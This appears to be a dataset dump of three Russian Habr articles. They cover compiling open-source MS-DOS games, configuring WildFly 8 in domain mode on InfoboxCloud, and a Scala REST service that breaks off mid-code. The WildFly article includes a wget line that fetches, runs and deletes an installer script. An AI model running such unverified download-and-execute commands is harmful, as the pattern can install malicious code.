text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Игры для MS-DOS с открытым исходным кодом
Игры под DOS с открытым исходным кодом — редкость. Вы, конечно, можете вспомнить GORILLA.BAS или DONKEY.BAS, написанные в соавторстве с самим Биллом Гейтсом, или культовые шутеры от первого лица Doom и Quake. Но это скорее исключения.
Однако спустя много лет некоторые разработчики всё же решили выпустить в свет исходники своих игр. Большинство из них уже переписаны на SDL, благодаря чему их можно перенести практически на любую современную платформу, но мне стало интересно, насколько сложно скомпилировать настоящие двоичные файлы для DOS?
Вы спросите, зачем это делать? Потому что, ну... м-м-м. Давайте просто сделаем это!
### Mario & Luigi
Начнём с этого клона “Марио”, написанного голландским разработчиком Майком Вирингом в 1994 году. Он имеет удобное управление, плавную прокрутку на фоне с эффектом параллакса, и шесть уровней. По словам автора, ассеты Марио были просто неким заполнителем для движка, который позже предполагалось использовать для других игр. Возможно, кто-то из олдов вспомнит игры Sint Nicolaas или Charlie the Duck от того же автора.
Несмотря на неофициальность, это была единственная игра про Марио, доступная под DOS, поэтому она быстро распространилась на дисках с подборками игр и через ранний интернет. [Даже Тайгер Вудс до неё добрался!](https://www.youtube.com/watch?v=D8RhCIvsjWc)
Автор поделился исходным кодом на своём сайте в 2008 году. Он написан на Паскале, и его легко компилировать на Turbo Pascal 5.5 или выше. Просто запустите `TPC /M /L MARIO`, и все готово! Проверьте код на наличие некоторых супер секретных чит-кодов!
Ссылки:
* [LGR - Sint Nicolaas - Обзор игры](https://www.youtube.com/watch?v=p_WfEnHnMKs)
* [Wiering - Ностальгия по DOS](https://www.youtube.com/watch?v=gKL3KPU1czM)
* [Марио и Луиджи на сайте Wiering Software](https://wieringsoftware.nl/mario/)
### Mr. Boom
Игра была выпущена в 1999 году и, к моему удивлению, всё ещё остаётся популярной.
Она продолжает жить в виде [ядра libretro,](https://github.com/Javanaise/mrboom-libretro) и вы даже можете установить её через менеджеры пакетов в большинстве операционных систем. Я не видел ссылки на первоисточник с официальных сайтов, но [кто-то, к счастью, выложил его на github](https://github.com/bparker06/mrboom30).
Исходный код написан на Turbo Assembler, вам понадобится компоновщик Watcom и расширитель PMODE/W, которые можно легко найти в интернете. Сначала вам нужно скомпилировать `SS\REMDY-PM.ASM` и `P.ASM`, слинковать их и запустить `IFF/MAKE.BAT` и `GFX/MAKE.BAT`, чтобы упаковать данные в исполняемый файл:
```
CD SS
TASMX /mu /m9 /q REMDY-PM.ASM
CD ..
TASMX /mu /m9 /q P.ASM
WLINK @X:\PMW133\PMODEW.LNK system pmodew file P.OBJ , SS\REMDY-PM.OBJ
CD IFF
CALL MAKE.BAT
CD ..
CD GFX
CALL MAKE.BAT
CD ..
```
К сожалению, полученный исполняемый файл зависает после выбора игрока, если вы не отключите монстров (аргумент `-M`), так что либо что-то не так с кодом, либо я просто что-то упустил. Также не работает звук, и у меня не получилось его наладить, работая с исходным двоичным файлом.
Ссылки
* [Ядро libretro Mr. Boom](https://github.com/Javanaise/mrboom-libretro)
* [Оригинальный исходный код Mr. Boom](https://github.com/bparker06/mrboom30)
### Cyberdogs
Этот крутой шутер с видом сверху, напоминающий серию игр Chaos Engine, True Lies и Alien Breed, был выпущен в 1994 году шведским разработчиком Ронни Вестером и распространялся бесплатно.
Для сольного проекта это на удивление целостная игра — вам предстоит проходить различные миссии, где нужно отстреливать киборгов и собирать предметы, а между миссиями покупать оружие и различные бонусные предметы. Также есть кооперативный режим на двоих с очень интересной механикой разделения экрана: игроки используют один экран, но когда они отходят далеко друг от друга, экран разделяется.
Исходный код написан на Turbo Pascal 7 и выпущен в 2000 году. Он доступен в интернет-архиве на [ныне несуществующем личном сайте автора](http://web.archive.org/web/20050212133444/http://www.orcsoftware.com/~ronny/Cyberdogs.html). Две тогда ещё коммерческие библиотеки для обработки графики и звука не включены в исходный пакет, но теперь обе можно найти в Интернете.
Во-первых, давайте взглянем на звуковую библиотеку DSMI. По словам автора, она была лицензирована для нескольких коммерческих игр под DOS, включая Disney's Lion King и Aladdin. Я подозреваю, что Cannon Fodder 2 также использует её, потому что она хранит музыку в специальном формате AMF DSMI. Используйте `CASM.BAT` для компиляции всего кода ассемблера в объектные файлы, а затем компилируйте файлы модулей Pascal с расширением `TPC -B DSMI.PAS`.
Библиотека SPX распространялась в бинарном виде. Судя по README, исходный код можно было купить по "низкой цене в 220 долларов"... В любом случае, мы можем просто указать компилятору юнит-файлы для версии 7.0 и собрать игру:
```
COPY DSMI\DSMI.INC
TPC -B -UX:\TP7\UNITS;SPX\TPU70;DSMI -ODSMI DOGS.PAS
```
Ссылки
* [Сайт Cyberdogs](http://web.archive.org/web/20050212133444/http://www.orcsoftware.com/~ronny/Cyberdogs.html) (веб-архив)
* [Библиотека DSMI](https://github.com/ochrons/dsmi)
* [Библиотека SPX](http://files.mpoli.fi/software/PROGRAMM/PASCAL/)
### C-Dogs
C-Dogs является продолжением Cyberdogs, выпущенной в 1997 году. Устав от ограничений 16-битного режима, автор полностью переписал игру на Watcom C. По сути, это та же игра, но с массой улучшений. В частности, поддержка джойстика, редактор, добавление «собачьего боя», в котором два игрока сражаются друг с другом, большее количество оружия и множество настроек игрового процесса.
В отличие от предыдущей игры, здесь нет сторонних библиотек, а исходный код даже включает Makefile! Итак, если ваш Watcom C настроен правильно, игру можно скомпилировать, просто запустив WMAKE. Определённо самый лёгкий процесс компиляции в нашей подборке.
Ссылки
* [Сайт C-Dogs](http://web.archive.org/web/20050212133345/http://www.orcsoftware.com/~ronny/C-Dogs.html) (веб-архив)
### Jump 'n Bump
Эта одноэкранная игра, в которой милые кролики разносят друг друга на кровавые ошмётки, была разработана шведской командой Brainchild Design из четырёх человек в 1998 году. Её исходный код был опубликован годом позже. Первый порт Linux, использующий библиотеку SDL для графики, появился ещё в 2001 году и поддерживается по сей день.
Найдя исходный релиз, я с грустью обнаружил, что библиотека, обрабатывающая графические и звуковые подпрограммы, предоставляется только в виде скомпилированной статической библиотеки. А вот остальной код можно скомпилировать с помощью компиляторов NASM и DJGPP:
```
nasm -f coff -o gfx.obj gfx.s
gcc -I. -c main.c menu.c interrpt.c gfx.c
gcc -I. -L. -o jump.exe interrpt.o main.o menu.o gfx.o gfx.obj -ldj
```
Ссылки
* [Оригинальный исходный код на RGB Classic Games](https://www.classicdosgames.com/game/Jump_'n_Bump.html)
* [Текущая версия](https://gitlab.com/LibreGames/jumpnbump)
### Avalon
Признанная критиками, но очень недооценённая ролевая игра Avalon была выпущена в 1998 году и распространялась бесплатно. У неё посредственная графика, но игра имеет своё очарование. В ней есть звуковые эффекты и тонны музыки, большой прокручиваемый мир и головоломки.
Её исходный код поставил меня в тупик. Все сторонние библиотеки представлены в виде юнит-файлов Turbo Pascal, поэтому исходников нет. Погуглив названия, я обнаружил, что некоторые TPU взяты из библиотеки MODEX Майка Чапина (MXPRPAS), некоторые взяты из MiGTracker (где они также находятся без исходников), некоторые из малоизвестной звуковой библиотеки tucgpl12 и вам понадобится объектный файл *из другой* библиотеки MODEX, написанной Мэттом Причардом. Есть ещё один TPU CTVOICE.TPU, происхождение которого я не смог определить.
В любом случае, поскольку все они включены в исходный код Avalon, компиляция проста:
`TPC -B -U..\TPU -OMXPRPAS AVALON.PAS`
Вам просто нужно использовать Turbo Pascal 7.0, потому что это, судя по всему, именно та версия, которая использовалась для компиляции TPU.
Ссылки
* [Официальный сайт Авалона](https://www.avalonrpg.net/)
* [Библиотека MODEX Pascal Майка Чапина](https://lostarchives.org/category/51/file/3760)
* [Mode X от Мэтта Причарда](http://ftp.mpoli.fi/unpacked/software/programm/general/over1400/modex/)
### Paybacktime 2
Paybacktime 2 — это пошаговая тактическая игра для MS-DOS, в которую могут играть до 4-х игроков (некоторых игроков может заменить ИИ), вдохновлённая X-COM: Enemy Unknown. Первоначально игра была создана в 1994-1997 годах финскими разработчиками Нико Неватие и Кари Луоюс, а позже, в 2014 году, её исходный код, написанный на Turbo Pascal и Turbo Assembler, был выложен на github. Makefile отсутствует, и большинство командных файлов сломаны/отсутствуют, однако пакетный файл TP.BAT намекает нам на то, что нужно сделать. По какой-то причине мне удалось скомпилировать только файлы ассемблера с TASM, включенные в Borland C++ v3.1. Никакие другие версии TASM не работали (очень весело было устанавливать Borland C++ с 15 дискет!).
Ссылки
* [Официальный сайт PaybackTime 2](http://rflxn.com/paybacktime2)
### WetSpot 2
Эта игра особенная! Она единственная из списка написана на Basic! Точнее, QuickBasic 4.5. В ней есть продвинутые вещи, например, обход ограничения QBasic в 64 КБ за счёт разбиения кода на несколько модулей с использованием EMS, звука и музыки и т. д.
К тому же это реально захватывающая игра! Геймплей, кажется, вдохновлён аркадной игрой Pengo, но с улучшенной графикой. Она чем-то напоминает Goof Troop на SNES. Также в игре есть кооператив для двух игроков!
Если вы хотите скомпилировать игру, то проще всего сделать это через QBasic IDE с включённой быстрой библиотекой по умолчанию ( QB.EXE /L). Откройте WETSPOT2.PAS и создайте исполняемый файл из меню «Выполнить». Звуковой SBMIDI.exe драйвер поставляется с официального установочного диска Sound Blaster. Кстати, эта игра также была портирована на чистый C и SDL, так что если вы хотите в неё нормально играть, то это, пожалуй, лучший вариант.
Ссылки
* [Официальный сайт WetSpot 2](http://web.archive.org/web/20000116062559fw_/http://www.geocities.com:80/SiliconValley/Lakes/7303/wetspot2.htm) (веб-архив)
* [Оригинальный исходный код QBasic от Анджело Моттолы](https://archive.org/details/wetspot2_201808) (веб-архив)
* [SDL-порт](https://github.com/dmitrysmagin/wetspot2)
### Keen Dreams
Эту игру также часто называют «Потерянным эпизодом Кина». История появления исходного кода довольно интересна. Игра, написанная iD software, принадлежала Softdisk, пока компания Flat Rock Software не приобрела весь каталог Softdisk. В 2014 году была проведена успешная краудфандинговая кампания по покупке прав и кода у Flat Rock и их дальнейшему обнародованию. Исходный код теперь [доступен на github](https://github.com/keendreams/keen) под лицензией GPL.
Код включает в себя файл проекта для Turbo C++, поэтому мы можем без проблем собрать исполняемый файл через IDE. Существует несколько версий игры, вам понадобится именно та, у которой код 1.93. Однако игра вылетает со страшной ошибкой CAL\_CacheSprite: Bad shifts number!. Кажется, на [Keen Wiki](http://www.shikadi.net/keenwiki/Patch:Sprite_shifts) есть некоторая информация по этой теме, но мне не очень хочется в ней копаться.
Гораздо интереснее проект под названием [omnispeak](https://github.com/sulix/omnispeak), который представляет собой современную версию с открытым исходным кодом на движке Goodbye, Galaxy! И самое крутое, что она компилируется для DOS!
Но не на самой DOS. В проекте используются современные компиляторы MinGW и djgpp для кросс-компиляции кода в исполняемый файл DOS. Понятия не имею о MinGW, но компиляция с использованием последней версии djgpp прошла без проблем. Просто запустите make `PLATFORM=dos` или просто `make` для версии SDL.
Ссылки
* [Исходный код Keen Dreams](https://github.com/keendreams/keen)
* [OmniSpeak](https://github.com/sulix/omnispeak)
### Abuse
Abuse — футуристический платформер в жанре «беги и стреляй», выпущенный в 1996 году для DOS и GNU/Linux. Вы перемещаетесь с помощью клавиатуры, целитесь и стреляете с помощью мыши и исследуете мрачный научно-фантастический мир, кишащий инопланетянами.
Исходный код был выпущен два года спустя, и с тех пор игра была перенесена на несколько платформ. Он написан на C++ и использует компилятор Watcom. Хотя проект включает make-файлы Watcom, компиляция не так проста, как запуск wmake. Я не слишком хорошо знаком с Watcom, но кажется, что некоторые файлы компоновщика отсутствуют. Кроме того, несмотря на все мои попытки, я не смог выполнить компиляцию с поддержкой сети IPX.
Одна библиотека под названием Sound Operating System Version 4.0 от компании Human Machine (которая может использоваться в более чем 150 играх) не включена в код. Сначала я подумал, что она вообще пропала из интернета, но в конце концов нашёл её в исходниках отменённого [сиквела игры Corridor 7](https://github.com/mmoczkowski/corridor-8) .
Не буду перечислять все шаги, которые мне пришлось предпринять для сборки, но я создал патч, который делает все необходимое для компиляции (и ничего больше). После его применения все, что вам нужно сделать, это скопировать библиотеку SOS в корневую папку, а затем запустить её wmake /f makefile.wat в imlib и abuse . Вы можете найти патч [на моем Gist](https://gist.github.com/hellricer/0c8e9bb01adaaddc08ac3150d075bb60).
Обратите внимание, что существует [несколько версий игры](https://www.dosgames.com/forum/viewtopic.php?p=125982#p125982). Исходный код для версии 2.00. Он также работает с данными fRaBs (Free Abuse).
Ссылки
* [Исходный код](https://github.com/videogamepreservation/abuse)
* [Библиотека SOS](http://web.archive.org/web/19970225190838/http://www.humanmachine.com/dev.htm) (веб-архив)
### Также достойны упоминания
Некоторые классические игры для DOS с открытым исходным кодом не попали в этот список. Например, Tyrian и Tyrian 2000 Джейсона Эмери. Эти потрясающие вертикальные шутеры изначально были с открытым исходным кодом, но с нюансами. Автор доверил исходный код Pascal/ASM только небольшой группе разработчиков, которые перенесли его на C и SDL, прежде чем выпустить как исходный порт OpenTyrian. Тем не менее, первоисточники не являются общедоступными.
Аналогичная судьба постигла и другую чрезвычайно популярную игру Liero. В данном случае исходный код Pascal был потерян из-за сбоя работы жёсткого диска. Тем временем сообщество открытого исходного кода разработало ремейк под названием OpenLiero, а позже получило благословение от автора на использование исходного имени, исключив Open из названия.
Scavenger — ещё одна игра, которая мне очень понравилось, но исходный код которой стал открытым только после конвертации в SDL.
Ссылки
* [OpenTyrian](https://github.com/opentyrian/opentyrian)
* [Liero](https://www.liero.be/)
* [Scavenger](https://www.linuxmotors.com/linux/scavenger/index.html)
Вот и всё. Я был очень удивлён, насколько гладко все прошло, учитывая, как сложно иногда бывает работать с кодом, который был написан всего пару лет назад.
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Вирусу Микеланджело — 30 лет](https://habr.com/ru/company/cloud4y/blog/654937/)
→ [Сделайте Linux похожим на Windows 95](https://habr.com/ru/company/cloud4y/blog/653949/)
→ [Как не позволить техническому долгу одолеть вас](https://habr.com/ru/company/cloud4y/blog/652895/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [30 лучших Python-проектов на GitHub на начало 2022 года](https://habr.com/ru/company/cloud4y/blog/650357/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. | https://habr.com/ru/post/657281/ | null | ru | null |
# Новый лидер Java EE? WildFly 8 в InfoboxCloud IaaS. Часть 2. Режим домена
[В первой части](http://habrahabr.ru/company/infobox/blog/210536/) мы развернули WildFly 8 в [Облачный конструктор InfoboxCloud](http://infobox.ru/cloudconstructor/) в режиме Standalone. Давайте посмотрим, как можно развернуть [WildFly](http://wildfly.org) 8 в режиме домена.
**Цель: развернуть WildFly 8 в режиме домена с отдельным контроллером домена и двумя хостами, на которых в режиме высокой доступности смогут исполняться по 2 сервера приложений WildFly.**
[](http://infobox.ru/cloudconstructor/)
#### Режим домена или автономный режим?
Автономный режим больше подходит для сценариев разработки, когда необходим только один сервер. Только в этом режиме будут работать [Arquillian](http://arquillian.org) тесты. Так же автономный режим подходит, если вы используете множество WildFly серверов с самописной системой управления серверами.
Режим домена (Domain mode) позволяет централизовано управлять конфигурациями WildFly. Использование домена удобно для развертывания и поддержки кластеров, состоящих из нод WildFly.
Элементы WildFly в режиме домена:
В домене можно выделить следующие элементы:
* **Контроллер домена.** Сервер приложений, запущенный в режиме домена. Будет исполнять как минимум один процесс контроллера домена. Контроллер домена управляет централизованными конфигурациями, которые распределяются по хостам в домене.
* **Контроллер хоста.** Процесс, отвечающий за координацию контроллера домена и жизненного цикла процесов серверов приложений. Через контроллер хоста осуществляется развертывание приложений из контроллера домена на сервера приложений. Фактически хост — это виртуальный или физический сервер.
* **Нода сервера приложений.** Обычные java-процессы, которые исполняются на сервере приложений. Каждая нода сервера приложений входит в группу серверов.
* **Группа серверов.** Логическое объединение двух хостов для использования разными приложениями. Например можно использовать main-server-group для стабильной версии приложения и other-server-group для разрабатываемой версии. Оба приложения будут работать без точки отказа и будут распределены между двумя хостами.
* **Контроллер процессов.** Очень легковесные процессы. Их главная функция — порождать процессы сервера и контроллера хоста и управлять их потоками ввода/вывода.
В случае, если при настройке режима домена что-то идет не так — всегда можно посмотреть логи контроллера хоста (**/usr/share/wildfly/domain/log/host-controller.log**) и контроллера процессов (**/usr/share/wildfly/domain/log/process-controller.log**).
#### Настройка WildFly 8 в режиме домена в InfoboxCloud
##### 1. Создание аккаунта в InfoboxCloud
Если у вас еще нет аккаунта в Облачном конструкторе InfoboxCloud — [регистрируйтесь на пробную версию бесплатно](http://infobox.ru/cloudconstructor/). Использование облака идеально для сценариев развертывания JavaEE, так как позволяет в период разработки не использовать лишних ресурсов, а при вводе программных систем в эксплуатацию позволяют гибко адаптировать ресурсы под реальную нагрузку. Облачный конструктор обеспечивает возможность задавать значения CPU, Ram, диска и других ресурсов вне зависимости друг от друга, тем самым создавая сервера, подходящие под вашу задачу.
##### 2. Создание серверов в InfoboxCloud для контроллера домена и хостов
Создайте в [облачном конструкторе](http://infobox.ru/cloudconstructor/) сервер для контроллера домена и 2х хостов (в случае затруднений можно обратиться к [первой части цикла статей](http://habrahabr.ru/company/infobox/blog/210536/). На момент настройки рекомендуется выделить побольше ресурсов каждому создаваемому серверу, а после настройки и развертывания приложений можно найти оптимальный минимум. Это позволит быстрее осуществить установку и настройку WildFly. Так как вы платите только за реально использованные ресурсы в час — настраивать мощные сервера очень приятно и стоит очень недорого. Настройки железной части серверов: контроллера домена и хостов мы сделали такие:
На всех хостах мы использовали операционную систему CentOS. После создания серверов на почту придут сгенерированные пароли от серверов. При желании можно изменить их в панели управления сервером. Так же вы вольны перейти на доступ по ключу, что сделает работу с серверами безопаснее и защитит от подбора паролей ботами (не забудьте выключить доступ по паролю в этом случае).
Для того, чтобы не тратить Ваше время на ручную установку WildFly, зависимостей и создания сервиса мы автоматизировали процесс установки. При необходимости ставить WildFly вручную можно посмотреть скрипт установки и понять, что происходит или прислать автору совет, как сделать лучше с имплементацией:)
Для установки WildFly на каждом из трех созданных серверов запустим скрипт:
```
wget repository.jelasticloud.com/scripts/wildfly8/linux64/wildfly-domain && chmod +x wildfly-domain && ./wildfly-domain && rm -rf wildfly-domain
```
*После выхода Java 8 в этом посте и в [Сообществе InfoboxCloud](http://infoboxcloud.ru/community) появятся ссылки на дополнительный скрипт для установки WildFly с JDK 8 в комплекте. Пока устанавливается последняя версия JDK7.*
По завершению установки давайте на всех серверах сделаем так, чтобы WildFly стартовал автоматически при загрузке сервера:
```
chkconfig --add wildfly
chkconfig --level 234 wildfly on
```
##### 3. Настройка domain.xml контроллера домена
Конфигурация домена задается через файл **domain.xml**, расположенный в **/usr/share/wildfly/domain/configuration**. В нем необходимо определить конфигурацию **групп серверов** (которая может всегда быть измененной в реальном времени).
```
```
Как вы видите, по-умолчанию определены две группы серверов: **main-server-group** и **other-server-group**. Для каждой группы установлен **profile** и **socket-binding-group**.
WildFly поддерживает четыре преднастроенных профиля:
* **default**: Поддерживает **Java EE Web-profile** и расширения для поддержки **REST** и **EJB remote invocations**. Для **socket-binding-group** должно быть установлено значение **«standard-sockets»**.
* **full**: Полностью поддерживает **Java EE Full-profile** и все возможности сервера приложений без кластеризации. Для **socket-binding-group** должно быть установлено значение **«full-sockets»**.
* **ha**: профиль default со включенной поддержкой кластеризации. Для **socket-binding-group** должно быть установлено значение **«ha-sockets»**.
* **full-ha**: Полный профиль Java EE с поддержкой кластеризации. Для **socket-binding-group** должно быть установлено значение **«full-ha-sockets»**.
##### 4. Настройка host.xml для контроллера домена
Файл **host.xml** , находящийся по адресу **/usr/share/wildfly/domain/configuration**, определяет:
* сервера приложений, являющихся частью домена и серверные группы, в которые они входят.
* сетевые интерфейсы и настройки безопасности для этих серверов приложений.
* размещение контроллера домена.
В нашей конфигурации домена на этом же хосте не будет запущенных серверов приложений. Мы хотим иметь выделенный контроллер домена. Для этого необходимо удалить содержимое из раздела **servers** так:
```
```
*Примечание: отказ контроллера домена не приведет к остановке приложений в кластере. Откажет — поднимите другой или восстановите из снапшота. Контроллер домена нужен только для управления доменом и развертывания приложений в него.*
Следующим шагом мы должны указать, что контроллер домена исполняется на том же самом хосте. Для этого настроим следующим образом раздел **domain-controller** в **host.xml**:
```
```
Далее добавим пользователя для управления доменом через **/usr/share/wildfly/bin/add-user.sh**.
Не забудьте сохранить base64 ключ secret value, который утилита напишет после добавления пользователя. Он нам понадобится для настройки хостов. Так же не забудьте на последний вопрос ответить yes, как на скриншоте.
В целях безопасности в производственном использовании рекомендуется ограничить ip, с которого возможно управление доменом. Это можно сделать в файле **/usr/share/wildfly/domain/configuration/host.xml**, заменив в разделе **management** на и подставив вместо 127.0.0.1 адрес, с которого допустимо управление доменом.
```
```
Теперь перезапустим контроллер домена командой
```
service wildfly restart
```
В панели управления WildFly на порту 9990 по адресу вашего контроллера домена видим, что пока к нему не подключены сервера, на которых будут исполняться наши Java EE приложения.
##### 5. Настройка хостов
Настройка хостов проводится в файле **host.xml**, расположенном по адресу **/usr/share/wildfly/domain/configuration**.
Зададим уникальное для каждого хоста (в нижеприведенной конфигурации имя — **wh0**. У другого хоста — **wh1**. Имена не должны совпадать):
```
...
```
Укажем, как контроллер хоста будет подключаться к контроллеру домена.
```
```
Не забудьте поменять указанный в конфигурации ip–адрес на адрес вашего хоста. Можно использовать приватный ip-адрес, так как и контроллер домена и хосты исполняются в одном облаке. Так же замените имя пользователя на то, которое Вы указывали при добавлении пользователя управления в контроллер домена через **./add-user.sh**.
Пришло время установить секретный base64 ключ для доступа к контроллеру домена. Действуем там же, в **host.xml** хоста:
```
...
```
Последний шаг настройки хостов — изменение раздела **server** в **hosts.xml**.
Для первой ноды **wh0**:
```
```
для второй ноды **wh1**:
```
```
Все готово. Перезагрузим хосты:
```
service wildfly restart
```
Теперь снова зайдем в панель управления контроллером домена:
Мы видим, что хосты появились и можно ими управлять или разворачивать на них приложения. Для серверов приложений 2 и 4 мы сознательно в разделе **servers** файла **hosts.xml** выключили автоматический старт. Попробуйте запустить их из панели управления контроллера домена.
В этой статье был успешно настроен WildFly 8 в режиме контроллера домена в [Облачном конструкторе InfoboxCloud](http://infobox.ru/cloudconstructor/). Мы оставили за кадром настройку балансировщика и много других деталей, о которых поговорим в следующих статьях. По любым вопросам по настройке или в общем по облаку можно писать автору [Юрию Трухину](mailto:trukhinyuri@infoboxcloud.com) или в [Сообщество InfoboxCloud на Facebook](https://www.facebook.com/groups/infoboxcloud/). Успешной работы! | https://habr.com/ru/post/212031/ | null | ru | null |
# Реализуем RESTful Web Service на Scala
На прошлой неделе на Хабре было целых две статьи о реализации RESTful web-сервисов на Java. Что ж, не будем отставать и напишем свой вариант на Scala, с монадами и аппликативными функторами. Матёрые разработчики на Scala вряд ли найдут в этой статье что-то новое, а любители Django вообще скажут что у них эта функциональность есть «из-коробки», но я надеюсь что Java-разработчикам и просто любопытствующим будет интересно почитать.
#### Подготовка
За основу возьмём задачу из [предыдущей статьи](http://habrahabr.ru/post/150034), но постараемся решить её так, что бы код решения умещался на экран. Хотя бы на 40-дюймовый и пятым шрифтом. В конце концов, в XXI веке должна быть возможность решать простые задачи без мегабайтов xml-конфигов и десятков абстрактных фабрик.
Для тех, кто не хочет ходить по ссылкам уточню: мы собираемся реализовать простейший RESTful сервис для доступа к базе данных клиентов. Из необходимой функциональности — создание и удаление объектов в базе, а также постраничная выдача списка всех клиентов с возможностью сортировки по разным полям.
В качестве кирпичиков, из которых мы будем строить дом, возьмём:
* [Scala](http://www.scala-lang.org/) — даже не кирпичик, а скорее фундамент,
* [Unfiltered](http://unfiltered.databinder.net/) — отличная библиотека для обработки HTTP-запросов,
* [Squeryl](http://squeryl.org/) — библиотека для запросов к базе данных,
* [Jackson](http://jackson.codehaus.org/) — библиотека для работы с JSON, изначально написанная для Java, но на ура справляющаяся и со Scala-типами,
* [Scalaz](https://code.google.com/p/scalaz/) — библиотека, позволяющая писать в коде разные забавные символы типа ⊛, ↦ или ∃, а заодно реализующая такие полезные абстракции, как аппликативные функторы, моноиды, полугруппы и стрелки Клейсли. Последние, правда, мне пока не приходилось использовать, но скорее всего это объясняется тем, что я ещё не достиг нужной степени функционального просветления.
По ходу статьи я постараюсь давать достаточно пояснений, что бы код был понятен людям не знакомым со Scala, но не обещаю что у меня получится.
#### В бой
##### Модель данных
Для начала нам надо определиться с моделью данных. Squeryl позволяет задать модель в виде обычного класса, а что бы не писать лишнего, этот же класс мы будем использовать и для последующей сериализации в JSON.
```
@JsonIgnoreProperties(Array("_isPersisted"))
case class Customer(id: String,
firstName: String,
lastName: String,
email: Option[String],
birthday: Option[Date]) extends KeyedEntity[String]
```
Поля, имеющие тип `Option[_]`, соответствуют nullable-колонкам базы данных. Такие поля могут принимать два вида значений: `Some(value)`, если значение есть, и `None`, если его нет. Использование `Option` позволяет свести к минимуму шансы на появление `NullPointerException` и является обычной практикой в функциональных языках программирования (особенно в тех, в которых понятия `null` вообще нет).
Аннотация `@JsonIgnoreProperties` исключает определённые поля из JSON-сериализации. В данном случае пришлось исключить поле `_isPersisted`, которое добавил Squeryl.
##### Инициализация схемы базы данных
Те, кто работал с JDBC знают, что первым делом приходится инициализировать класс драйвера базы данных. Не будем отклоняться от этой практики:
```
Class.forName("org.h2.Driver")
SessionFactory.concreteFactory =
Some(() => Session.create(DriverManager.getConnection("jdbc:h2:test", "sa", ""), new H2Adapter))
```
В первой строке мы подгружаем JDBC-драйвер, а во второй указываем библиотеке Squeryl, какую фабрику соединений использовать. В качестве базы данных используем лёгкую и быструю [H2](http://www.h2database.com/).
Теперь пришёл черёд схемы:
```
object DB extends Schema {
val customer = table[Customer]
}
transaction { allCatch opt DB.create }
```
Сначала мы указываем, что наша база содержит одну таблицу, соответствующую классу `Customer`, а затем выполняем DDL-команды по созданию этой таблицы. В реальной жизни использовать автоматическое создание таблиц обычно оказывается проблематично, но для быстрой демонстрации это очень удобно. Если таблицы в базе данных уже существуют, `DB.create` выбросит исключение, которое мы, благодаря `allCatch opt`, успешно проигнорируем.
##### JSON-сериализация и десериализация
Для начала, проинициализируем JSON-парсер, что бы он мог работать с типами данных, принятыми в Scala:
```
val mapper = new ObjectMapper().withModule(DefaultScalaModule)
```
Теперь определим две функции для превращения JSON-строк в объекты:
```
def parseCustomerJson(json: String): Option[Customer] =
allCatch opt mapper.readValue(json, classOf[Customer])
def readCustomer(req: HttpRequest[_], id: => String): Option[Customer] =
parseCustomerJson(Body.string(req)) map (_.copy(id = id))
```
Функция `parseCustomerJson` занимается собственно разбором JSON. Благодаря использованию `allCatch opt` исключения, возникшие в процессе разбора, будут перехвачены и в качестве результата мы получим `None`. Вторая функция, `readCustomer`, имеет непосредственное отношение к обработке HTTP-запроса — она читает тело запроса, превращает его в объект типа `Customer` и устанавливает поле `id` в заданное значение.
Стоит отметить, что указывать тип возвращаемого значения в обеих функциях было необязательно: у компилятора достаточно данных, что бы вывести тип и без подсказок программиста, но явно указанный тип иногда облегчает понимание кода человеком.
Обратный процесс — превращение объекта `Customer` (или списка `List[Customer]`) в тело HTTP ответа — тоже не представляет сложности:
```
case class ResponseJson(o: Any) extends ComposeResponse(
ContentType("application/json") ~> ResponseString(mapper.writeValueAsString(o)))
```
В дальнейшем, мы просто будем возвращать объекты типа `ResponseJson`, а фреймворк Unfiltered позаботится о том, что бы превратить его в правильный HTTP-ответ.
Ещё один маленький штрих, это генерация новых идентификаторов клиентов. Самый простой, хотя и не всегда самый удобный способ — использовать UUID:
```
def nextId = UUID.randomUUID().toString
```
##### Обработка HTTP-запросов
Теперь, когда большая часть подготовительной работы сделана, мы можем приступить непосредсвенно к реализации web-сервиса. Не буду вдаваться в подробности устройства библиотеки Unfiltered, скажу лишь что простейший способ её использования выглядит так:
```
val service = cycle.Planify {
case /* шаблон запроса */ => /* код, генерирующий ответ */
}
```
У нашего сервиса будет две точки входа: `/customer` и `/customer/[id]`. Начнём со второй:
```
case req@Path(Seg("customer" :: id :: Nil)) => req match {
case GET(_) => transaction { DB.customer.lookup(id) cata(ResponseJson, NotFound) }
case PUT(_) => transaction { readCustomer(req, id) ∘ DB.customer.update cata(_ => Ok, BadRequest) }
case DELETE(_) => transaction { DB.customer.delete(id); NoContent }
case _ => Pass
}
```
В первой строке мы указываем, что этот код хочет обрабатывать только URL вида `/customer/[id]` и привязывает переданный идентификатор к переменной id (если неизменяемую переменную вообще можно так называть). В следующих строках мы уточняем поведение в зависимости от типа запроса. Разберём, к примеру, обработку метода PUT по шагам:
* `transaction { ... }`: мы указываем, что на время работы тела обработчика следует открыть транзакцию,
* `readCustomer(req, id)`: используем заранее написанный метод, читающий тело запроса и возвращающий `Option[Customer]`
* `∘`: этот символ заслуживает отдельного внимания, по сути он является синонимом операции map и позволяет применить какую-нибудь функцию к содержимому Option, если это содержимое есть,
* `DB.customer.update`: та самая функция, которую мы хотим применить — обновление сущности в базе,
* `cata(_ => Ok, BadRequest)`: возвращает `Ok`, если в `Option` есть значение или `BadRequest`, если запрос не удалось разобрать и мы имеем `None` вместо клиента.
Обработка GET и DELETE запросов выполняется аналогично.
Во второй половине обработчика, обслуживающей запросы к `/customer`, нам понадобятся две вспомогательные функции:
```
val field: PartialFunction[String, Customer => TypedExpressionNode[_]] = {
case "id" => _.id
case "firstName" => _.firstName
case "lastName" => _.lastName
case "email" => _.email
case "birthday" => _.birthday
}
val ordering: PartialFunction[String, TypedExpressionNode[_] => OrderByExpression] = {
case "asc" => _.asc
case "desc" => _.desc
}
```
Эти функции будут использоваться для создания `order by` части запроса и, скорее всего, покопавшись в недрах Squeryl, их можно было написать проще, но и такой вариант меня устроил. Сам код обработчика:
```
case req@Path(Seg("customer" :: Nil)) => req match {
case POST(_) =>
transaction {
readCustomer(req, nextId) ∘ DB.customer.insert ∘ ResponseJson cata(_ ~> Created, BadRequest)
}
case GET(_) & Params(params) =>
transaction {
import Params._
